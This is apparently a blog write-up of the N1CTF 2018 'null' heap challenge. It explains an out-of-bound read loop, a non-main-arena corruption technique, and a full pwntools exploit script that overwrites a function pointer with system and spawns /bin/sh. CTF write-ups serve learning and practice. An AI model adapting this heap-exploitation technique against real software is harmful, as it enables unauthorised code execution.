N1CTF 2018 PWN NULL Write-up

Introduction

Working in the wrong direction means going far away. After reading the write-up in [1], I think this is not a difficult challenge. During the contest, I was hesitating between House of Orange and House of Mind. After reaching dead end in both solutions, I hope to seek some hints from the title of the challenge. Therefore I turn to this post [2], seeking some possible hints in file stream on /dev/null. But the result shows that I think too much on that and I should start from the easier ones.
I need to record what I think during the contest and set a reminder for myself.

Vulnerability Analysis

The vulnerability exists in the function fun_400BCA. It will read from the user input multiple rounds until the received bytes exceeds the chunk_size. But the vulnerability is that the size used for reading in each round is chunk_size itself.
It means that the if it reads chunk_size-1 bytes in the first round, it can still read chunk_size in the next round, which is a clear out-of-bound write.

Exploit Plan

The exploit comes from a piece of code in arena.c as below:

#define heap_for_ptr(ptr) \
  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
  (chunk_main_arena (ptr) ? &main_arena : heap_for_ptr (ptr)->ar_ptr)

Take an allocated chunk in the exploit as below:

//Allocated chunk
0x7fa7d7ffbfd0:	0x0000000000000000	0x0000000000003d15
0x7fa7d7ffbfe0:	0x0000000000000000	0x0000000000000000
0x7fa7d7ffbff0:	0x0000000000000000	0x0000000000000000
0x7fa7d7ffc000:	0x0000000000000000	0x0000000000000000

//non_main_arena
0x7fa7d8000000:	0x00007fa7d8000020	0x0000000000000000
0x7fa7d8000010:	0x0000000003ffd000	0x0000000003ffd000
0x7fa7d8000020:	0x0000000300000000	0x0000000000000000
0x7fa7d8000030:	0x0000000000000000	0x0000000000000000
0x7fa7d8000040:	0x0000000000000000	0x0000000000000000
0x7fa7d8000050:	0x0000000000000000	0x0000000000000000
0x7fa7d8000060:	0x0000000000000000	0x0000000000000000
0x7fa7d8000070:	0x0000000000000000	0x00007fa7d7fffce0
0x7fa7d8000080:	0x0000000000000000	0x00007fa7d8000078
0x7fa7d8000090:	0x00007fa7d8000078	0x00007fa7d8000088

The non_main_arena bit of the allocated chunk is set. Therefore, we can locate the address of arena in memory at 0x7fa7d8000000. The next step is to corrupt the arena and create a crafted fastbin chunk in main arena and overwrite the function pointer at 0x602038 and get shell.

Exploit

from pwn import *

DEBUG = int(sys.argv[1]);
if(DEBUG == 0):
    r = remote("1.2.3.4", 23333);
elif(DEBUG == 1):
    r = process("./null");
elif(DEBUG == 2):
    r = process("./null");
    gdb.attach(r, '''source script''');

def login():
    r.recvuntil("password:");
    r.sendline("i'm ready for challenge");

def binid():
    r.recvuntil("Action:");
    r.sendline("1337")

def useService(size, pad):
    log.info("Sendling size:0x%x" % size);
    r.recvuntil("Action:");
    r.sendline("1");
    r.recvuntil("Size:");
    r.sendline(str(size));
    r.recvuntil("Pad blocks:");
    r.sendline(str(pad));
    r.recvuntil("(0/1): ");
    r.sendline(str(0));
    log.info("Finish sending");

def exit():
    r.recvuntil("Action:");
    r.sendline("2");

def exploit():
    login();
    for i in range(0, 12):
        useService(0x4000, 1000);
    useService(0x4000, 261);

    system = 0x400978;

    r.recvuntil("Action:");
    r.sendline("1");
    r.recvuntil("Size:");
    r.sendline(str(0x3d00));
    r.recvuntil("Pad blocks:");
    r.sendline(str(0));
    r.recvuntil("(0/1): ");
    r.sendline(str(1));
    r.recvuntil('Input: ');
    payload = "A"*(0x3d00 - 1);
    r.send(payload);
    
    payload = 0x341* "B"
    payload += p32(0) + p32(0) + p64(0) * 5 + p64(0x602025 - 8);
    payload = payload.ljust(0x600, 'C')
    r.sendline(payload);
    log.info("Finish sending packets");

    r.recvuntil("Action:");
    r.sendline("1");
    r.recvuntil("Size:");
    r.sendline(str(0x60));
    r.recvuntil("Pad blocks:");
    r.sendline(str(0));
    r.recvuntil("(0/1): ");
    r.sendline(str(1));
    r.recvuntil('Input: ');
    payload = "/bin/sh";
    payload = payload.ljust(11, '\x00');
    payload += p32(system);
    payload = payload.ljust(0x60, '\x00');
    r.send(payload);
    log.info("Trigger");
    r.interactive();

exploit();

Conclusion

During the contest, I take too much tome in House of Orange. Later I turn to House of Mind to seek if I need to exploit the non_main_arena in the heap. But I was puzzled and hesitated on if I should give up House of Orange. Though non_main_arena comes into my mind, but misses to seek all possibilities on non_main_arena. Hope this can be a good lesson for my self.

Reference

[1] https://github.com/Nu1LCTF/n1ctf-2018/blob/master/writeups/pwn/null/x.py
[2] http://atum.li/2017/11/08/babyfs/

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.